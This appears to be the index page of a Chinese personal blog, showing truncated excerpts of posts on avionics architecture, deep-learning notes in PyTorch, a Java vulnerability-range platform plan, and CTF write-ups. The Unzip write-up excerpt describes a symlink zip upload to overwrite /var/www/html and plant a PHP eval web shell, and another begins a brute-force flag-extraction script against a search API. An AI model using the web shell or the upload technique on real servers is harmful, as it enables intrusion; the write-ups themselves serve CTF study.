精选分类

网络安全

1 个子项，22 篇文章

软件开发

4 篇文章

Java安全

网络安全
11 篇文章

文章列表

# 综合化航空电子系统的发展 发展历程：航空电子系统架构经历了四个阶段：分立式、联合式、综合式和高度综合式 。 未来趋势：未来的系统将朝着更加综合化、模块化、通用化和智能化的方向发展 。 核心设计理念: 综合化设计：将整个航空电子系统视为单一子系统进行顶层优化设计，以压缩体积、减轻重量、降低成本并提高可靠性 。 模块化设计：将完整功能浓缩于标准电子模块 (LRM) 中，这是实现系统结构简化和重构的基础 。 通用化设计：在系统中最大限度地使用相同类型的模块，以提高后勤保障能力和重构能力 。 智能化设计：利用先进计算机技术，为飞行员提供实时决策辅助和自动目标处理能力 # 2....

Flag L3ak解题逻辑： 我们输入三个字符，之后会查询post，但是会把查到的post中flag替换成*,注意是查到之后替换，我们我们可以类似盲注一样，如果我们输入的三个字符包含在flag内，那么查到的post就会包含id为3的post，接下来就是按照逻辑爆破： import requests import string # 目标服务器的 URL url = "http://34.134.162.213:17000/api/search" # 已知的 flag 前缀 known_flag_part =...

# Unzip # 题目描述 # 解题 unzip -o 参数：不经提示直接覆盖已有文件 创建软链接 ln -s /var/www/html test 压缩软链接，保留原本链接内容 zip --symlinks test.zip ./* 上传文件 本地创建 test 目录（因为上面使用的是 test，之后覆盖的时候也会覆盖 test），并创建 shell.php <?php echo eval($_GET['a']);?> 之后压缩 test 目录，再次上传 由于题目使用的是 - o 参数 ，解压同一个文件的时候会覆盖掉上次传的 test...

# 逆向签到题 直接查看反汇编代码就能看到 flag # re2 弄清楚加密过程 找到密钥 ，本题采用 RC4 加密，可以参考如下流程 讲解博客 将样本放进 IDA 中分析，在左侧找到_main 函数： 按下 tab，查看反汇编代码： 进入 main_0: 代码如下： int __cdecl main_0(int argc, const char **argv, const char **envp){ char v4; // [esp+0h] [ebp-44Ch] char v5; // [esp+0h] [ebp-44Ch] char v6; // [esp+0h]...

# 0. 基础设施与 DevOps 阶段 # 0.0 项目介绍 “天枢” Java 漏洞靶场平台：终极开发方案 (代号 “天枢” 寓意指引方向、核心枢纽) I. 核心愿景与设计原则 愿景： 打造全球领先的 Java 安全攻防演练平台，提供最全面、最真实、最具挑战性的漏洞场景，赋能安全专业人士与开发者提升实战技能。 设计原则： 极致体验 (User-Centric): 界面友好、交互流畅、引导清晰、反馈及时。 高度仿真 (Realism): 漏洞环境尽可能模拟真实世界的应用架构和业务逻辑。 动态智能 (Dynamic & Intelligent): 支持动态内容、场景变化、甚至...

核心原则： 敏捷开发： 迭代式开发，快速反馈，拥抱变化。 精益创业： 最小可行产品（MVP），验证学习，避免浪费。 测试驱动开发（TDD）： 编写测试先行，保证代码质量。 领域驱动设计（DDD）： 关注业务领域，设计清晰模型。 详细开发步骤： 阶段一：核心平台开发（3 个月） 1. 技术基础设施搭建（2 周） 开发环境配置: 操作系统：推荐 macOS 或 Linux。 IDE：IntelliJ IDEA (后端), WebStorm/VS Code (前端)。 JDK：Java 17+ (建议使用 SDKMAN 管理)。 Node.js：18+ (建议使用 nvm...

# 读取长序列数据 import randomimport torchdef seq_data_iter_random(corpus,batch_size,num_steps): """ 使用随机变量抽样生成一个小批量子序列 :param corpus: 语料库，通常是一个包含 token ID 的长列表或序列。 :param batch_size: 每个小批量中包含的子序列数量。 :param num_steps: 每个子序列的长度（时间步数）。 :return: 一个生成器，每次产出 (X, Y) 张量对。 """ #...

# 文本预处理 # 读取数据集 import collectionsimport refrom d2l import torch as d2ld2l.DATA_HUB['time_machine'] = (d2l.DATA_URL + 'timemachine.txt','090b5e7e70c295757f55df93cb0a180b9691891a')def read_time_machine(): with open(d2l.download('time_machine'),'r') as f: lines...

# 序列模型 # 训练 import torchfrom torch import nnfrom d2l import torch as d2limport matplotlib.pyplot as pltT = 1000time = torch.arange(1,T + 1,dtype=torch.float32)x = torch.sin(0.01*time) + torch.normal(0,0.2,(T,))d2l.plot(time,[x],'time', 'x',xlim=[1,1000],figsize=(6,3)) #...

# AlexNet import torchfrom torch import nnfrom d2l import torch as d2lnet = nn.Sequential( nn.Conv2d(1,96,kernel_size=11,stride=4,padding=1),nn.ReLU(), nn.MaxPool2d(kernel_size=3,stride=2), # 减小卷积窗口，使用填充 2 来使输入和输出一致且增大输出通道数 nn.Conv2d(96,256,kernel_size=5,padding=2),nn.ReLU(),...

# 互相关运算 from symtable import Classimport torchfrom torch import nnfrom d2l import torch as d2l# 实现互相关运算，X 代表输入，K 代表卷积核def corr2d(X,K): h,w = K.shape Y = torch.zeros((X.shape[0]-h+1,X.shape[1]-w+1)) for i in range(Y.shape[0]): for j in range(Y.shape[1]): Y[i,j] = (X[i:i+h,j:j+w]*K).sum() return YX =...

nimport mathimport numpy as npimport torchfrom torch import nnfrom d2l import torch as d2l 生成数据集 (噪声项服从均值为 0，标准差为 0.1 的正态分布) n# 多项式的最大阶数max_degree = 20# 训练和测试数据集的大小n_train,n_test = 100,100# 分配大量空间true_w = np.zeros(max_degree)# 只有前四位作为多项式模型的真实权重true_w[0:4] = np.array([5,1.2,-3.4,5.6])# 生成样本特征...